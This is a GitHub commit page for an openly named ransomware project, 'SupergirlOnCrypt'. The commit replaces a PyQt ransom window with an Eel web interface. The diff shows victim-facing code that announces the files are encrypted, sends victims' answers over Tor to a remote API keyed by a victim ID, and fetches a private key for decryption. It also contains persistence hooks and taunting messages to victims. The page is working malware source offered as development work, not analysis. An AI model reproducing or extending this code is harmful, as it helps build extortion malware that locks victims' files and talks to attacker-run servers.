Skip to content

Commit

Permalink
Replaced PyQT with Eel -> Reduced overall Binary size to ~30mb
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Feb 26, 2018
1 parent 84d0cde commit 3ea5bfc
Show file tree
Hide file tree
Showing 28 changed files with 330 additions and 141 deletions.
12 changes: 7 additions & 5 deletions App/DecryptThread.py
Original file line number Diff line number Diff line change
@@ -1,15 +1,16 @@
import sys
import threading
from pathlib import Path
from PyQt5.QtCore import QThread
from Helper import Helper
from FileCrypter import FileCrypter
import Config


class DecryptThread (QThread):
def __init__(self, priv_key):
QThread.__init__(self)
class DecryptThread (threading.Thread):
def __init__(self, priv_key, eel_obj):
threading.Thread.__init__(self)
self.privkey = priv_key
self.eel = eel_obj

def run(self):
h = Helper()
Expand All @@ -32,4 +33,5 @@ def decrypt(self):
except IOError:
not_encrypted.append(path_in_str)
h.error("Could not decrypt " + path_in_str)
h.safe_exit()
#h.safe_exit()
self.eel.decrypt_success()
173 changes: 70 additions & 103 deletions App/GUI.py
Original file line number Diff line number Diff line change
@@ -1,120 +1,87 @@
import json
import base64
import collections
from PyQt5 import QtCore
from PyQt5.QtCore import QSize
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit, QProgressBar, QInputDialog, QLineEdit
from Helper import Helper
from TorManager import TorManager
import Config
import DecryptThread
import requests
import eel

uuid = ""

def setup():
eel.init('web')

class GUI(QWidget):
def __init__(self, uuid):
self.uuid = uuid
QWidget.__init__(self)
self.headerFont = QFont("Times", 22, QFont.AllUppercase)
self.setup()
def show():
web_app_options = {
'mode': "chrome-app",
'port': 1337,
'chromeFlags': [" --incognito"]
}
try:
eel.start('ui.html', size=(1152,648), options=web_app_options)
except EnvironmentError:
web_app_options = {
'mode': "l33t",
'port': 1337
}
eel.start('ui.html', size=(1152,648), options=web_app_options)

def setup(self):
self.resize(800, 600)
self.setWindowTitle("SupergirlOnCrypt")
self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint)
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMaximizeButtonHint)
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMinimizeButtonHint)
self.setbg()
self.placeWidgets()
self.show()
@eel.expose # Expose this function to Javascript
def shutdown():
h = Helper()
h.safe_exit()

def setbg(self):
h = Helper()
oImage = QImage(h.path("res/gui_bg.jpg"))
sImage = oImage.scaled(QSize(800, 600)) # resize Image to widgets size
palette = QPalette()
palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole
self.setPalette(palette)
@eel.expose
def getQuestions():
h = Helper()
l = []
with open(h.path('res/questions.txt'), 'r') as f:
for q in f:
l.append(q)
return l

def placeWidgets(self):
#heading
self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self)
self.lbHeader.setFont(self.headerFont)
self.lbHeader.setStyleSheet("QLabel { color: white;}")
self.lbHeader.setGeometry(10, 15, 500, 120)
@eel.expose
def checkQuestions(answers):
q = []
for i in range(len(answers)):
r = answers[i]
tmp = [getQuestions()[i].replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))]
q.append(tmp)
return sendAnswers(q)

self.infoText = QTextEdit(self)
self.infoText.setReadOnly(True)
self.infoText.setGeometry(205, 150, 550, 360)
h = Helper()
with open(h.path('res/info.html'), 'r') as encrypt_info_file:
encrypt_text = encrypt_info_file.read().replace('\n', '')
self.infoText.setHtml(encrypt_text)
def sendAnswers(q):
tor = TorManager()
r = tor.getSession()
try:
data = collections.OrderedDict()
for i in range(0, len(q)):
data[q[i][0]] = q[i][1].decode('utf-8')
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
req = r.post(Config.API_URL + "/answer/" + uuid, data=json.dumps(data), headers=headers)
data = json.loads(req.text)
if data['STATUS'] == "WRONG_ANSWERS":
return False
elif data['STATUS'] == "OK":
return True
except requests.exceptions.RequestException:
return False

self.progressBar = QProgressBar(self)
self.progressBar.setRange(0, 0)
self.progressBar.setGeometry(20, 550, 500, 24)
self.progressBar.hide()
@eel.expose
def decryptData():
tor = TorManager()
r = tor.getSession()
try:
req = r.get(Config.API_URL + "/decrypt/" + uuid)
data = json.loads(req.text)
if data['STATUS'] == "FAIL":
eel.decrypt_fail()
elif data['STATUS'] == "SUCCESS":
privkey = base64.b64decode(data['priv_key']).decode('utf-8')
decryptThread = DecryptThread.DecryptThread(privkey, eel)
decryptThread.start()
decryptThread.join()
except requests.exceptions.RequestException:
eel.decrypt_fail()

#button decrypt
self.btnDecrypt = QPushButton("Decrypt", self)
self.btnDecrypt.move(650, 550)
self.btnDecrypt.setStyleSheet("QPushButton {background-color:black; color: white; width:100px; height:24px;} "
"QPushButton:hover {color:green;}")
self.btnDecrypt.clicked.connect(self.askQuestions)

def askQuestion(self, q):
text, okPressed = QInputDialog.getText(self, "Supergirl", q, QLineEdit.Normal, "")
if okPressed and text != '':
return text
else:
return ""


def askQuestions(self):
h = Helper()
questions = []
with open(h.path('res/questions.txt'), 'r') as f:
for question in f:
r = self.askQuestion(question)
tmp = [question.replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))]
questions.append(tmp)
print(questions)
self.sendAnswers(questions)

def sendAnswers(self, q):
tor = TorManager()
r = tor.getSession()
try:
data = collections.OrderedDict()
for i in range(0, len(q)):
data[q[i][0]] = q[i][1].decode('utf-8')
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
req = r.post(Config.API_URL + "/answer/" + self.uuid, data=json.dumps(data), headers=headers)
data = json.loads(req.text)
if data['STATUS'] == "WRONG_ANSWERS":
QMessageBox.question(self, "Still locked...", "Your machine is still locked\nAt least one Answer was wrong", QMessageBox.Ok)
elif data['STATUS'] == "OK":
self.decryptData()
except requests.exceptions.RequestException:
QMessageBox.question(self, "Error", "You are fucked...",
QMessageBox.Ok)

def decryptData(self):
tor = TorManager()
r = tor.getSession()
try:
req = r.get(Config.API_URL + "/decrypt/" + self.uuid)
data = json.loads(req.text)
if data['STATUS'] == "FAIL":
QMessageBox.question(self, "Still locked...", "Decryption Failed!", QMessageBox.Ok)
elif data['STATUS'] == "SUCCESS":
self.progressBar.show()
privkey = base64.b64decode(data['priv_key']).decode('utf-8')
self.decryptThread = DecryptThread.DecryptThread(privkey)
self.decryptThread.start()
except requests.exceptions.RequestException:
QMessageBox.question(self, "Error", "You are fucked...",
QMessageBox.Ok)
15 changes: 7 additions & 8 deletions App/SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,13 +11,12 @@
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
from PyQt5.QtWidgets import QApplication
from RSA.RSAKeyGen import RSAKeyGen
from pathlib import Path
from Helper import Helper
from FileCrypter import FileCrypter
from TorManager import TorManager
from GUI import GUI
import GUI

_helper = Helper()
_session = 0
Expand Down Expand Up @@ -46,18 +45,18 @@ def init():
def startGui(id):
if sys.platform == "linux" or sys.platform == "linux2":
if not os.environ.get('XDG_CURRENT_DESKTOP') is None:
app = QApplication(sys.argv)
_ = GUI(id)
sys.exit(app.exec_())
GUI.uuid = id
GUI.setup()
GUI.show()
else:
_helper.super_logo()
_helper.supergirl_pic()
print("Supergirl needs a GUI. She encrypted your Files and you are screwed")
print("Have a nice Day! ;)")
else:
app = QApplication(sys.argv)
_ = GUI(id)
sys.exit(app.exec_())
GUI.uuid = id
GUI.setup()
GUI.show()

def makePersistence():
if getattr(sys, 'frozen', False):
Expand Down
4 changes: 2 additions & 2 deletions App/requirements_lin.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ cryptography
pycryptodome
requests
pysocks
pyqt5
psutil
pillow
pycrypto
pycrypto
https://github.com/ThoughtfulDev/Eel/archive/master.zip
5 changes: 3 additions & 2 deletions App/requirements_win.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ cryptography
pycryptodome
requests
pysocks
pyqt5
psutil
pillow
pillow
pywin32
https://github.com/ThoughtfulDev/Eel/archive/master.zip
Binary file removed App/res/gui_bg.jpg
Binary file not shown.
16 changes: 0 additions & 16 deletions App/res/info.html

This file was deleted.

16 changes: 16 additions & 0 deletions App/web/css/materialize.min.css

Large diffs are not rendered by default.

26 changes: 26 additions & 0 deletions App/web/css/style.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
body {
padding:0;
margin:0;
width:100%;
height:100%;
background: url('../img/bg.jpg') top center no-repeat;
background-size:cover;
}

.notice {
margin:160px auto;
max-width:700px;
width:100%;
height:100%;
text-align:left;
}

#notice_btn_area #left {
float:left;
}

#notice_btn_area #right {
float:right;
}


Binary file added App/web/favicon.ico
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Bold.woff
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Bold.woff2
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Light.woff
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Light.woff2
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Medium.woff
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Medium.woff2
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Regular.woff
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Regular.woff2
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Thin.woff
Binary file not shown.
Binary file added App/web/fonts/roboto/Roboto-Thin.woff2
Binary file not shown.
Binary file added App/web/img/bg.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading

0 comments on commit 3ea5bfc

Please sign in to comment.